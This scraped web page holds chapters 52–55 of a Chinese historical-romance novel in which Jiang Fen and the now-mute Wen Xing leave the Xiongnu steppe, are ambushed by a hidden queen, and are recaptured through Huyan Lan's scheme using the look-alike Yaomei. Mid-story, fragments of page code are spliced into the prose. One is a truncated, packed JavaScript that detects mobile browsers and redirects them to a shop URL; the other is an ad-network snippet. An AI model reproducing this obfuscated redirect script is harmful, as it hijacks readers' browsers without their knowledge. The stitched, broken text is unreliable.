可等待她的不过是从一场斗争转变到另一场碾压。 她微微转动脖子想要看看那个拿刀抵着她脖子的人,却发现刀锋根本不避一丝一毫,直接将她的脖颈划出一道鲜红的血色来。 她根本无法抑制住眼睛里噙满的泪水,只是在顷刻之间,一滴珍珠般的泪滴便从脸颊滑过,掉落在匕首刀尖上。 空气中安静得即使是一颗针掉到地上都能被听见,更不要说这种幺妹凄凄惨惨的哽咽和泪珠泫然而下的声音了。 姜汾看已经到时候了,对手持匕首的闻行使了个眼色。 闻行收到指令,点点头,收了匕首,然后站在一边不说不闹,只听着姜汾去和幺妹谈话。 “说吧。” 幺妹被他们两个折磨怕了,更多的是,更害怕自己不顺从他们的话,真的会一个不小心命丧黄泉。 哆哆嗦嗦了两下,幺妹浑身战栗,“我要去须卜真。” “去找他干嘛?” “我以前是专门伺候他的。” 这句话,意蕴丰满。 幺妹说得如此磕磕绊绊,不用想就知道她说得伺候肯定不只是洗个脚,擦个柱子之类的粗活了。 “大王找到了我,第一点就是要我和他断了,说无法接受一个自轻自贱当贱妾的人。我今天趁着人少,就是特地去找他,准备告诉他这件事的。” 原来如此,那么一切都解释的通了。 如果须卜真早就找到了幺妹当小妾,那么在最近几天里,呼延阑想找到她并不是什么困难的事。 这也就再次印证了一点。 之前须卜真色胆包天,想尽方法都想要得到姜汾,可当时须卜真第一眼见到她们俩的时候,明显是都起了色心的。 他能够愿意放弃赵峤,不是因为不敢得罪呼延阑,更多是家中已经有了一个很像的人,再多抢回去一个,也只不过是徒劳无功占地方罢了。 毕竟,当时呼延阑曾经三番五次地向须卜真说明姜汾的身份,须卜真都是色心不死,再三尝试,他这样的人,怎么会在意赵峤的身份呢? 而且,于他而言,有这么一个与赵峤相像的人在,随时随地,只要自己出了事,她便是自己起死回生的有利武器。 一股诡异的气氛充斥了房间,姜汾嘴唇紧抿,安静等待着下一刻要发生的事。 果不其然,一道雄浑却充满奸诈的声音在一瞬之间充满了房间。 姜汾紧急回头,看向了那个站在门口不怒自威的高大身影。 52. 哑巴 “你完成了芪朝布置给你的任务,这就可以了,何必再多管闲事?” 这是呼延阑的声音。 他不会是碰巧来到这里,不小心碰到了他们与幺妹对峙的这一幕,不然不会来得如此之快。 更大的可能是,他早就预谋到了姜汾他们会主动找到幺妹,所以他才会来得如此之快。 定睛一看,他身后好像还有一个畏畏缩缩的身影。 姜汾特地侧过脑袋,与那个畏畏缩缩的身影双眸相对,这才看清了他。 原来是须卜真。 果然,呼延阑再怎么想要削弱这位舅舅,也没有真的想要置他于死地。 姜汾心里明白,没必要和呼延阑特地去对立,他们现在马上就散了,好聚好散就够了。 她拉了一下闻行的衣袖,用眼神传达自己的想法。 两人虽说是并没有发出任何一点声音,但心里都已经明白了对方的想法。 姜汾主动向呼延阑求取宽恕,“是我们的错,不过我们都要走了,就不要再计较了。” 毕竟,他们两方人真要纠结出一个谁对谁错,恐怕从白天吵到黑夜,海枯石烂,沧海桑田,也无法完全辨别出究竟谁对不起谁。 就到此结束吧。 …… 翌日天色晴朗,天空一片碧澄,真是应了一句诗词:天苍苍,野茫茫,风吹草低见牛羊。 如果不是和匈奴世世代代都有血仇的话,他们芪朝那些向往着游山玩水的文人骚客,应该都愿意不远万里来到这个从未见过的美丽之地。 姜汾只在这里待了不到一月,光是看着不远处青青草地的怡人风光,都会觉得心旷心怡。 京城高楼林立,但是富贵迷人眼,总会让人觉得压抑沉闷,走在一条接着一条、似乎没有断绝的小巷时,抬头只能看见一小片天空,根本得不到一种心灵解放的感觉。 也好,马上就从这里离开了,离开的路上多留意一下这里的风光,也算是这一场心力交瘁的外出的交代。 姜汾坐上了赶路的牛车,闻行根本不在意周围人异样的眼光,很自然的就坐到了她的身边。 “你干嘛?” 姜汾正准备和他论一论,突然发现这只队伍有些奇怪。 “呼延阑本来只为我们准备了八辆牛车,怎么多了一辆?” 因着她的话,闻行扭过头看了看队尾,果然看到了些奇怪的地方。 他们队尾那辆牛车也不用运一些行李,怎么别出心裁蒙得严严实实的? 这实在是不合常理。 他们这支队伍只要翻过了大雪山,就规范与赵峤约定好的地方会合,最后到达边境,基本上不会在回京城了。 而且,一旦这支队伍出了什么问题,让什么不三不四的人混了进来,他们边境许多重要的东西都会被流露到其他地方。 特别是边防线略图,一旦丢失,整个芪朝上上下下都会陷入万劫不复的结局。 为了保险起见,闻行主动下了牛车,前往最后一辆牛车检查。 正当他准备掀开那张欲盖弥彰的帘子时,本来一直没有出现的呼延阑却突然叫住了他。 “不要乱动。” 简简单单的四个字没有打断闻行的动作,趁着呼延阑只是注意到了他,人一时半会儿也不过来,便直接将帘子半掀起来。 牛车内基本都是一些干粮、水之类的东西,除了一个让他们无比眼熟却也头疼得要命的人。 为什么传闻中早已疯癫的王后会出现在这里。 似乎是长久不见光亮,突然一下被太阳光照到,王后的眼皮还止不住地抽搐了两下。 只要有这个人在,闻行是万万不可让队伍行进的。 他一直固执地抓紧帘子,不把帘子放下来,直到呼延阑走到他的身边,他才用一种冷漠的眼神看着嬉皮笑脸的呼延阑。 呼延阑让他妥协,“没必要,你们让我们胡人失去了一个人,我不计前嫌,还破例让你们带走一个,可以说,天王老子来了,都会说我为人正直善良。” 闻行不屑于理会他耍赖一般的话,现如今要走了,呼延烈也早就入土为安了,他也没必要再隐藏自己会说话的事情了。 可当他准备开嗓说话时,却发现自己只能嘴巴张张合合,嗓子里却是一点儿声音都发不出来。 看到闻行这幅样子,呼延阑拍了拍他的肩膀,“不要再挣扎了,从我们两个合作的那天起,你就应该想到我会如此对待你。” “我给你下了一种毒,能够让你这辈子都说不了话,王后是唯一一个能够解毒的人,恰巧她又想远走他乡、独自生活,你们载她一程,你们自己也会好过的。” 说完,他还冲闻行微微一笑,那挂在他嘴角的笑容,不像是合作,更相似对于弱者的嘲讽。 再怎么强悍有什么用?还不是会被别人欺负,甚至当你被欺负了,连哭喊的声音都没有。 呼延阑自以为好言相劝,“姜汾还不知道你的事吧,她应该一直以为你只是在逢场作戏而已,如果你不带着王后,你这一辈子恐怕都无法再和她解释了。” 他以为像这样就能威胁到闻行,可他完全低估了闻行本人的意志力。 闻行白了他一眼,再次尝试一下,发现自己确实发不出任何声音后,直接利剑出鞘。 呼延阑根本没有想到闻行会软硬不吃,会直接拒绝这一切。 他本来看清了闻行要做些什么,想要拔刀去挡,可他的动作根本没有闻行的身手迅速,等他把刀拔出来时,闻行的剑已经朝着牛车狠狠挥下了。 空气在一瞬之间凝固了,呼延阑屏息凝神,看着刀锋的走向大气都不敢出。 手起刀落,如同切掉一颗老白菜一般,根本不用废掉一丝一毫的力气。 然而,并没有一丝一毫的血液喷涌而出,取而代之的是,一张崭新的帘子顺着风吹的痕迹,掉落在青青草地之上。 呼延阑看着被削掉的帘子,不明白闻行所作所为的用意何在。 可闻行此时此刻也不能说出话,那无言的一切都像是在向他这种卑鄙小人谩骂。 他甚至都还没有把刀收好,闻行便直接转身离去。 见状,呼延阑也不好在说些什么,再次走到一旁,被一众部落首领包围簇拥。 不知道为什么,他很讨厌这么多人是非黑白不辨就围绕在自己身边的样子,就像一只久久不见天日的阴暗蠕虫,身边都是一群吵着闹着不肯罢休的苍蝇。 突然,一阵微风吹拂过他的脸庞,将他身上别着的狼牙微微往另一个方向吹。 呼延阑循着那个方向望过去,原来是闻行已经到达了姜汾身边。 连风这种看不见摸不着的东西,都会毫无保留地偏向一个人吗? 他不明白。 闻行更不会知道。 他是不会让王后这个敏感危险的人靠近边疆的,只要在回去路途中,出现一点点渺茫的机会,他都要神不知鬼不觉地解决掉这个祸患。 即使他不能恢复自己的声音。 最为要紧的是,这件事绝对不能让其他人发现。 即使在呼延阑的一手遮天之下,王后能够逃脱掉众人的察觉,顺利混进他们的队伍,也是一件极其困难的事。 他们这些人,都是圣上信得过的,身手好只是他们最小的优势。更多的在于 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姜汾本来正盯着闻行呢,便被这突如其来的花朵打断了,如同一簇小火苗,在漆黑的夜晚亮了起来。 闻行顺势把姜汾揽入怀中。 “后面那辆车检查了吗?” 闻行点点头。 这时的他应该很感谢曾经的自己是个闷葫芦,平时话也不多,一般都是让姜汾开开心心地讲,自己安安静静地聆听。 如此一来,倒也让姜汾真真忽略了他无法说话的事。 貌似以后不能说话也不是一件无法接受的事,毕竟,姜汾来自于另外一个神秘的地方,她回不去的日子里,肯定会有很多很多的趣事和自己分享。 自己也很愿意当那个独一无二的听者。 但是,如果有朝一日,她回去了呢? 或者说,她本来就是一个非常美好的人,没必要和自己这么一个无趣的人在一起。 曾经自己至少还能像八哥一样,偶尔说两句话逗她开心。就算自己说得再不中听,可总归不会让她感到烦闷。 如今的自己,就像是一具行将就木的尸体,如果离开了姜汾,会不会像一块爬满青苔的木头,慢慢被腐蚀,却没有一个人能够听到自己的痛苦与挣扎? 那时候,自己连一句话都说不出来,心里的所思所想都无法完整地表述出来。 如果遇到自己烦躁郁闷、无可奈何之时,会不会被人当做一个跳大神的跳梁小丑? 就算自己会有很多要紧的公务缠身,可自己口不能言,这比那些口不择言的人还要可怕。 做什么事都要耽误大家的时间,做什么事都需要大家帮一把。 到头而来,好像并不是自己在真学实才地做一件事,更像是众人拾柴火焰高,把自己高高托举起来,这样自己才能到达那个高位。 如此一来,不如自请乞骸骨,事了拂衣去。 不过是落了个半生戎马,最终归隐山林,生死无人可知的下场罢了。 曾经浩浩荡荡的历史长河里,有多少人是这样被淹没的? 有人自认天将降大任于斯人也,幼时起便筋骨劳累,站着成为路边野草之食。 偏偏人到青年不自知,一心一意做着那虚无缥缈的春秋大梦,为了这场前途未卜的梦,大汗淋漓之后,只需饮酒入喉,一切酸软皆化作了梦中的虚无。 后来苦中作乐,好不容易遇到一个可以让他尝到甜头的人,却遇到一件可能一辈子都无法挽回的事。 那他之后又会何去何从? 谁又能知道呢? “闻行!” 53. 刺伤 突如其来被姜汾叫了一声,闻行猝不及防,刚准备回声,再一次实际地感受到自己跟本发不出任何声音,这才从自己无边无际的想象中脱离出来。 “在这里,你为什么不能回应我?” 姜汾看着闻行别过去不肯回答的脸,这才后知后觉发现一些不对劲的地方来。 她把花拿到一处放好,随机端正坐姿,一副随时就要拷问闻行的样子。 就在这时,呼延阑突然走到他们身边来,“出发吧,此去经年,不知何时何地,我们还能相见了。” 自认为自从遇上了呼延阑,便再也没发生过什么好事,姜汾听着他这话,心里气不打一处来。 “相见就不必了,只求您这位大爷,别在什么时候突然窜出来重创我们就行了。” 听到姜汾这般样子的话,呼延阑冲她微微一笑,道:“倒不至于以后对你们做出这样的事。” 因为有些事,现在就已经做了。 话外的意思很难让人听得出来,姜汾也不例外,她以为这只是呼延阑临到别离之际谦虚客套的手段。 在她的想法之中,呼延阑这种为了自身利益不择手段的人,做出任何事情都不会让人奇怪。 直到他们的车队离开了呼延阑管辖的地界,马上就要翻越大雪山时,姜汾终于发现了呼延阑短短的一句话到底包含了什么意思。 “闻行……”姜汾努力平复自己本该起伏的心情,压着声音问,“怎么都走到这里了,你还是一句话都不肯说?” 闻行根本不敢看姜汾的眼睛,害怕从她那双澄澈的眼睛中,看出来后悔的神色,哪怕是一点点。 他会不会因为自己是哑巴了,就后悔与自己互通心意了?会不会后悔没有早点离开? 所有的后悔不会成全一个自由自在的姜汾,却会堆叠出一个破碎不堪的自己。 见闻行死活不肯转过头看自己一眼,姜汾就明白,真的出事了。 为了不引起恐慌和怀疑,姜汾故意和闻行靠得很近,然后用两个人才能听到的声音问:“你不能说话了吗?” “点头就是对,摇头就是否,闻行,不要对我有任何隐瞒。” 面对姜汾的询问,闻行虽然不愿意把姜汾牵扯进来,可在她的再三要求之下,还是略带迟疑地点点头。 “后面那辆牛车是有一些不可告人的秘密吗?” 闻行再次点头。 姜汾终于明白,为什么闻行会在检查了后面的牛车后,表现得如此异常,如此一来,便都说得通了。 后面那辆,若是藏物,大不了等到了大雪山山脚下,所有赶牛车的师傅们都离开了,他们直接弃车就走,何来担忧之色。 如此一来,后面那辆牛车,定然是藏了一个让人意想不到的人。 不可能是呼延阑。 他如今再怎么都不会舍弃他好不容易得来的权利,定然不会冒这个险与他们一起离开。 如果不是呼延阑,那这个人要想在呼延阑眼皮子底下混进他们的车队,只有两种可能。 要么是呼延阑最为信任之人。 可按照他们与呼延阑相处这么久来看,呼延阑这人根本就没有任何可以信任的。 连自己老子都说杀就杀,这种人最为小心翼翼,不会轻易与别人推心置腹。 那只有一种情况了,那就是对呼延阑最有威胁的人。 如今局势已经明朗,呼延烈留下的那些孩子,大多还年幼,呼延阑没必要从那些孩子中选出来几个,把他们千里迢迢送到芪朝的领土。 那么,只剩下最后一个了,那便是从一开始就和呼延阑不怎么对付的王后。 王后不仅处处针对他,更是因为王后当场宣布了阴婚的事,才导致赵峤如此恨呼延阑。 如果呼延阑硬要塞一个恶心他们的人来,这个人会是不二人选。 姜汾推测了一番,心下已然清楚了大概。 她抓起闻行的手,在闻行手上写字,就像当初他们在侯府的时候,闻行经常督促她练字。 这一次,姜汾在他手上缓缓地写了两个字,她让闻行自己好好感受。 闻行原本是不知道她在写什么的,可当他在心中按照姜汾所写的笔画重演时,这才突然明白姜汾所写的字。 揽岳。 这是闻行的字。 姜汾在他手上这下这两个字,不仅仅是在与他交流,更是在清清楚楚地告知他:我记得你的一切,我不会放弃你。 闻行眼睛眨了眨,看向姜汾的眼神充满了朦胧的情感。 可此时此地,并不是他们能够一直互诉衷肠的地方,他们需要把那些毒瘤揪出来了,再去管这些事。 于是乎,姜汾立马身子一歪,假装受力不稳,最后重重跌落到路边。 闻行立马懂得了她的意思,紧急命令所有牛车都停了下来,然后立马跑到姜汾身边,把她扶了起来。 姜汾顺势一倒,倒在了闻行的怀里,赶在那些队列里的人说话之前,自己把话圆了过来。 “这前面的牛车没有顶棚,我一个不小心便摔下来了,我受不了了,让我去最后一辆牛车上坐会吧。” 她说的声音很大,能让大多数人听见。 已经有几个人下来查看情况了,见他们都围拢过来了,闻行立马把姜汾的伤口之处当好,然后只是静静地看着他们。 这些人虽然就是干这种活计的,可年年只有那么几天回家,这次结束任务之后,好不容易可以回家去看看,实在是不想在这种事情上浪费时间。 他们见闻行这个冷木头死活不同意姜汾的要求,心里又等不了那点时间,便装作好心好语地劝闻行道:“让她去吧,总不能让大家都在这儿干等着啊。” 见他们的反应,闻行在偷偷辨认叛徒时,默默排除了他们。 然而,他还是要装模作样一下的。 “你都这么觉得了,那我就只能勉为其难让她去了。” 这话说起来,就好像是他们在求他办这件事,而他不得不答应一样。 说罢,闻行便慢慢搀扶起姜汾,带着她往后面走去。 两人路上一直不敢说话,一方面是害怕有人发现端倪,另一方面便是,他们需要观察沿途各个人的反应。 可奇怪的是,一路走来,并没有发现什么异常。 好不容易一歪一扭地走到了最后面,姜汾爬上牛车。 闻行顺势就对赶牛车的车夫说:“你去前面第一辆吧,我来赶这辆。” 车夫本来还怀疑眼前这人是否会赶牛车,可眼睛上下一晃,看到他身上刀剑挺多的,也彻底熄了火,老老实实跑到前面去了。 棚子上的帘子已经被毁掉了,本来如此这般,里面坐着的那个人很容易就会被暴露。 可姜汾往里面一瞅,黑乎乎的,不仅看不到人,还感觉还感觉里面无边无际的,不像是一个狭小的空间。 姜汾才不管那么多,她很自然地就滑了进去,通过外面透进来丝丝点点的亮光,迅速抓住了那个隐匿在这个狭小地方的人的手。 姜汾抓住之后,无论那个人再怎么动弹,姜汾死都没有松手,反而一个劲儿地把她往棚子露口处拉。 正当那人在棚子露口处冒了个头,闻行眼疾手快,立马拔出了配剑。 这一次,手起刀落,终于不是空斩一些无关的东西了。 闻行直接一剑刺中了那人的心脏。 见那人还敢动弹,闻行越扎越深,直至那人再也没有可以动弹的力气,彻底两腿一撅,死了过去。 那边已经有人注意到他们这边的动静了,朝他们这边多走了几步,“发生什么事了吗?怎么整得叮当乱响啊?” 闻行说不了话,只能让姜汾来回答。 可偏偏这时,姜汾一直没有发出半点声响,直到那人已经快要逼近他们了,才有一道声音阻止了他。 “我们没事,不用管我们,只不过是我上牛车的时候不小心磕碰到了而已。” 声音很大,外人听起来没有什么问题,那人听了也不觉得有什么了,直接转身离开了。 可是,离姜汾这么近的闻行直接就听出来不对劲了,他赶紧一把把姜汾捞了出来。 闻行仔细观察姜汾面色,发现已经惨白了。 怎么会如此? 闻行立即上下看了起来,果然在姜汾的腿上发现了一处刀伤。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546540|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看样子,捅刀的人下了狠手,伤口裂开到了一定的程度,难怪姜汾会痛得说不出话来。 闻行先把姜汾安置好,再将那具尸体拖了出来。 王后闭上眼睛的神情非常痛苦,她手里还拿着一把利刃,利刃上猩红的鲜血便是她捅伤姜汾的证据。 她倒也是个聪明的,知道现在他们路途遥远,腿是万万不可受伤的。 王后知道他们最在乎哪里,于是毫不犹豫刺向了他们最在乎的地方。 马上就到大雪山了,姜汾的腿成了这个样子,就算用了药,这么深的伤口,只要到了晚上,稍微冷了一点,这条腿就算是废了。 偏偏他们处于两国交界地带,呼延阑好不容易放行了他们,此时此刻,他们必须得快速通过大雪山。 闻行一边掏出外伤药,一边想着一个可怕的想法。 或许,从一开始,呼延阑就不是想要王后来扰乱边境,毕竟,那样会引起两国之间不必要的战争,会让很多人陷入水深火热之间。 他只是想让这个人来到他们的队伍里,做出一些扰乱他们前行的事。 就比如现在,一旦姜汾腿的事情前面那些人知道了,骚乱也好,争吵也罢,左右是不会太平的。 说不了话,闻行只能抓住姜汾的手,捏紧了,用这样的方式来表达自己对她的安慰。 整个车队已经开始慢慢行走了,闻行趁着前面的人不注意,把王后的尸体抱起来,扔到了不远处一个凹陷的坑洞里。 然后,他赶紧把姜汾抱到棚子里,往她的腿上撒外伤药。 药粉触碰到姜汾腿上的皮肤时,她痛到脊背微微弓起。闻行没办法,只能轻轻吻着她的额头。 撕下衣角的一大块布,那是姜汾经常拉住的地方,只要她拉到这里,两人纵然是有千言万语,也都会在眉眼之间获得理解。 闻行把裹在姜汾腿上的布包的很漂亮,然后让姜汾把腿尽量搁好,以免磕碰。 他给姜汾的身子正了正位置,让她可以躺得更为舒服一点。 随后,他便有模有样地驾起车来,随着众人,一路到了大雪山脚下。 内鬼还没有揪出来,姜汾也不能四处走动。此时,他们不能够轻举妄动地去找赵峤。 姜汾的情况是不可能一直隐瞒得住的,闻行想了想,还是找来了领队的王老虎。 他对王老虎做着手势,大致意思是:姜汾的腿被刀划伤了,暂时走不了路,请求他的帮忙。 王老虎寻思着怎么会不小心被刀划到腿呢,便和闻行一起把姜汾抬了下来。 等他真正看清姜汾受伤的腿时,便发觉这事绝对不是他所想的那么简单。 他心有余悸地看了眼闻行,本着有些话该说有些话不该说的原则,迟疑道:“姑娘这腿,不说上山,哪怕是到时候过沼泽,都得搭上两三个人进去吧。” 闻行怎么会不明白这个道理,只不过,在面对这种情况下,他一个人也没办法带姜汾回去,只能求助他们。 他僵硬地点了点头,算作是他的回应。 王老虎见他一副半天蹦不出来两词的样子,也料想到什么了。 可他竟然没有拒绝,反而是拍了拍闻行的肩膀,口气像喝大了一般,“没事,我们一定会负责的。” 怕闻行不相信,他还特地补充:“她之前过雪山时,教会了我们很多技巧,让我们保留了不少兄弟,如今她受难了,我们也不是什么捧高踩低、见利忘义的人,该帮还是得帮。” 话都说到了这个地步,闻行自然是很感谢眼前这个王老虎的,正当他们准备继续抬着姜汾上一辆板车时,一道刺耳的声音突然打断了他们的行动。 两人循声望去,原来是原本替他们赶车的车夫,他们全都一声不吭地撂下担子就跑了。 如此异常的举动自然是引起了众人的警觉。 恰好这里是一处凹陷的地带,易攻难守,他们一旦被埋伏,就会很难突出重围。 要么全军覆没,要么殊死一战。 可等了半天,并没有再发生什么。 只是不远处的小山坡缓缓蹦出了一只小兔子,紧接着,后面还跟着一道身姿绰约的身影。 54. 算计 众人纷纷不敢怠慢,拿出自己的吃饭家伙准备对付眼前这人。 等那人缓缓走出来时,却让众人松了一口气。 原来是赵峤。 但是,联想到之前幺妹顶替赵峤的事,闻行也不敢松懈。 他和赵峤算不上熟悉,甚至而言,总共也没说过几句话。 真正与赵峤熟悉的姜汾,此刻正昏迷不醒。所以,现在他们也只能从行为上的表现,大体推测一下眼前这人到底是不是赵峤。 “你是燕乐公主?” 闻行说不了话,这无疑也为这件事增添了不少难度。所有的询问与回答,都只能由王老虎来代替。 还好王老虎是个懂眼力见的人,见闻行一直不说话,只是一副心事重重的样子,便主动把问话这功夫揽到了自己头上。 “我不是……” 眼前这人说话很慢,甚至让人有些感觉不到她是在停顿思考还是在故意拖延时间。 “我不想当燕乐公主,从今往后起,我只会是赵峤,我只是我自己。” 这话说起来倒是挺符合赵峤倔强要强的性格,只不过,闻行总是感觉哪里怪怪的。 “之前跟着你那个小伙子呢?” 赵峤看着他们的眼睛似乎没有一点弄虚作假的欺骗,“他去打一些动物和果子,不然我们没有干粮吃。” 说罢,她便蹲下身来,抓住脚边啃草的兔子,抱住它对他们说:“这就是他去找的,本来打算当做今天晚上的口粮。” 此时,就连王老虎这种长期保持戒备心的人都已经快相信了,便随意问了下一句,“怎么才走到这里呢?你们都走了那么多天了,我以为你们再怎么都得翻过大雪山了呢。” 后面半句只是若有若无的一句,可偏偏王老虎在说话时,还是不太放心,又把这句话加了上去。 这样一来,赵峤皱着眉头想了想,解释道:“我身子弱,走得慢。” 目前来说,赵峤的身子确实有损,王老虎知道这一点,也就不做计较,“您能自己过来吗?不行的话,我派个兄弟来扶……” 话还没有说完,一只大手直接挡在了他的面前,王老虎循着手臂往上望,竟然是闻行拦住了他。 他看着闻行皱着眉头的样子,心中升起疑惑的感觉来。 王老虎还不知道闻行的身份,可见他和姜汾关系匪浅的样子,便知道这人绝对不简单。 但是,再不简单的人,也没那个胆子拦住燕乐公主啊。 即使她不是皇帝亲生的,可距离册封大典还没过去多久,这公主的名号还烫着呢。 为了各位的安全,王老虎把闻行单独拉到一边,询问道:“是有什么问题吗?有就说。” 闻行哪里说得出来,只能默默地摇头来表示自己的不支持。 这可真是把王老虎陷入到两难的境地了,他一边不能得罪燕乐公主,一边又得保证一边又得保证这支行进的队伍不受奸人所害。 反复琢磨了许久,最终,王老虎还是选择走到赵峤的身边,对她毕恭毕敬地说: “公主殿下,如果我没记错,您的职责是用和亲来保证两国疆土安宁,现在您冒昧回朝,不仅没有得到圣上的允许,还让匈奴心中起了一定的疑心。这可不是一个公主应该做的。” 赵峤显然是没有想到他会这么说,整个人很明显地愣了一下。 王老虎也是在说出这话之后,才后知后觉到一个问题。 赵峤逃跑的时候虽然有他们帮忙掩护的手笔,但毕竟是偷偷离开的,怎么会如此明目张胆地出现在众人面前。 这样,不仅容易让自己重新暴露在匈奴人,尤其是呼延阑的视野之中,还会让自己在自己人里落下口舌,即使是回到了京城,一旦被人谈论到此时,哪里还有脸面活下去呢? 况且,以他对赵峤这么多天的观察来看,她的为人处世并不是眼前这人这般模样。 赵峤作为一个被严格要求长大的京城贵女,怎么会如此轻松地抓住那只兔子? 拒绝与这个人同行,就算她是真正的赵峤,那她还有一个人专门保护他回京。如果不是,也是为他们省了一笔麻烦。 闻行原以为王老虎最终会同意带上眼前这个赵峤,害怕自己劝不了他,已经转过身子准备保护好姜汾了,可突然听到了这样一段话,这不仅让他再次转过身来正视这个王老虎。 山谷之间风萧瑟,吹得每个人耳边的碎发轻轻摇曳,无人言语,只剩下轻轻的风声在众人身边流动。 赵峤被拒绝之后,斜斜棱了一眼王老虎,抱着兔子徘徊了两步,随后直接离开了队伍。 这更加让他们确认,这个人根本不是赵峤。 既然不是赵峤,那她肯定是呼延阑身边的那个幺妹。 事情着急的矛盾点便出现了。 他们刚刚在与这个假赵峤谈话时,并没有否认赵峤已经去世这件事,他们一直在沟通的问题都是真赵峤才会知道的事。 如此一来,一旦幺妹回去与呼延阑说些什么,他们的行程就会受阻。 就算呼延阑大发善心饶了他们,那他会不会策划发动下一场针对芪朝的战争。 每一个结果,都是他们无法接受和承担的。 想到这里,王老虎对身边一个人低语,“把她抓回来。” 一个不经训练的女孩子,再怎么狂奔,体力总归是比不过训练有素的成年男子。 只不过一刻钟,幺妹便被抓了回来。 王老虎当即上去搜身。 幺妹躲了两下,“你们芪朝人不是讲究男女授受不亲吗?你就这么随意搜我?” “那是要求正人君子的。”王老虎没停下手上的动作,“我都来干这活吃饭了,我要再当什么正人君子,那我便只有饿死的份了。” 话糙理不糙,王老虎再也没搭理过幺妹,但来来回回搜了好几遍之后,确实没能找到什么可疑的东西。 这时,闻行突然指着幺妹的手,这让王老虎突然想到了什么。 兔子…… 他们百密一疏,自以为抓住了幺妹就可以万事大吉,却根本没想到兔子这种跑得快,根本抓不到的动物,最适合用来通风报信。 这样,即使幺妹被抓住了,他们的消息还是被传给了呼延阑。 如此一来,他们这队人,走也不是,不走也不是。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被反将了一军的王老虎看着幺妹脸上狡黠的笑容,一时之间气不过,却也只能无可奈何地蹲坐在地上。 然而,闻行却突然拍了拍他的肩膀,将颓废的他从自己的思绪中强行拉了出来。 闻行随意折了一根木棍,在这片尘土广布的地方,写下了自己的想法。 “回去,你们回京城复命,我带姜汾回呼延阑那里。” 王老虎大惊失色,慌忙劝阻道:“小兄弟,这可使不得,闻大将军不会放过我的。” 他们这次的任务不仅是要护送赵峤安全到达草原,更要把姜汾完完本本地带回京城。 她是闻行的妻子,闻行又是掌握整个芪朝兵权重任的人,他在圣上面前的两三句话,就有可能决定了他们这些兵痞子生死命运。 “如若我说,我就是闻行呢?” 这话并不能让王老虎完全相信,毕竟眼前这人,相貌平平,与他所远远见过一眼的闻行可以说是天差地别。 更何况,这人连话都不会说。 可下一瞬,闻行所写下的一句话便完全打破了他的想法。 “一切后果由我承担,去向圣上那个老头子说,我有我自己的打算,他再干预,也管不了远在天边的我。” 如此狂傲的话,若是放在平常人身上,早就被拉到菜市口砍上好几回头了,偏偏眼前这人似乎胆大包天,就这么兀自说出来了,显然是没把自己性命当回事。 他写在地上的话,兄弟们都看得懂。 明明天不热,可他们偏偏后背冷汗直流。 “走,不然来不及了。” 面对闻行的再三催促,王老虎还是下不了决心,他问闻行:“我回去要怎么和圣上复命,你这是在把我往死里里逼。” “你就说,呼延阑盛情邀请,姜汾难以拒绝,被留在匈奴在住上几天,过了些日子,他们就会把姜汾原原本本地送回去。” 话是这么说,可王老虎心中的犹豫不是那么容易被安抚的。 突然之间,他像是感受到了什么,匍匐在地上,耳朵紧紧贴在地面上。 地面上尘土抖动,王老虎站起身来,静静说道:“来不及了,他们来了。” 果不其然,没过多久,数匹骏马绕过稀疏的大树,踩过草地,径直跑到了他们身边。 而领头的那个人,正是原本放他们离开的呼延阑。 他看着脸上波澜不惊的众人,似乎是不太满意大家的反应,“啧,我好不容易抓住你们的破绽,怎么不给我点应有的惊讶呢。” 见没有人搭理他,呼延阑撇了撇嘴,又对着闻行说:“你们芪朝人真是恩将仇报,我帮了你,你却反过来害我。” “把他们带回去,分开关押,直到王后回来。” 他说的王后,不是已经被杀死的呼延烈的妻子,而是已经逃离了数天的赵峤。 他想要用这么多人的生命,来要挟赵峤,让她不得不回来。 这时,圆满完成呼延阑交给她的任务,幺妹顺从地走到呼延阑身边,“大王,您……” 话还没有说完,呼延阑嘲弄地看了她一眼,接下来的话更是让幺妹宛若被晴天霹雳劈中。 55. 喂血 “杀了。” 语气上没有一丝一毫的起伏,这反而让在场的所有人不寒而栗。 尤其是本来高高兴兴的幺妹,此刻更是瘫软在地上不敢动弹,一时之间,连最基本的求饶竟也是忘了。 直到有人拿着大刀大步流星地向她走了过来,幺妹这才恍恍惚惚反应过来,赶紧朝着呼延阑的方向跪下,一个劲儿地磕头。 “大王,求求您,放了我吧,好歹看在我为您抓住了一条这么有用的消息,大王,我以后一定当牛做马报答您,求您饶过我一命。” 然而,纵使她哭得再怎么梨花带雨,话里话外有多么的煽情,呼延阑就是不为所动,看着她的眼神就像是看一条跪伏在地上仓惶的狗。 甚至而言,他可能会对狗有过一丝的怜悯之心,对于幺妹,他只有数不清的嫌恶。 看清楚眼前这一幕闹剧,闻行这才明白,呼延阑下的这步棋,高明的地方就在于,他真正的玩弄了所有人的人心。 幺妹被须卜真当做可有可无的玩物,她当然希望自己有一天能够飞上枝头当凤凰。 正好此时,赵峤私自出逃。 早就听闻那个人与自己长的十分相像,只需要稍微学习一下那人的行为作风,就有很大的可能彻底代替那个人,这怎么能让幺妹不心动。 一旦她主动将自己暴露在呼延阑的视野,呼延阑的第一步计划也就完成了。 利用幺妹顶替赵峤,让这世间所有人都知道自己即将迎娶的人,是芪朝远道而来的燕乐公主。 各部落的首领曾经在阴婚仪式上见到过赵峤,对她的样貌自然是有印象的。 只要用这招狸猫换太子,到时候就算赵峤逃到天涯海角,只要她不将那张脸毁作枯木,她就必须担上自己夫人的名号。 同时,幺妹的出现无疑是放松了姜汾和闻行等一干人的警惕,让他们自以为他们可以离开草原。 放虎归山的同时放出他的诱饵——王后。 看上去是王后早早地就死了,可事实是,王后只是一步继续放空他们心态的棋子。 呼延阑不知道用了什么方法,让王后心甘情愿地上了牛车。 王后在面对一群为了芪朝铁血丹心的人时,除了死没有别的出路。 她用自己猩红的鲜血,来为呼延阑铺下了最后一条路。 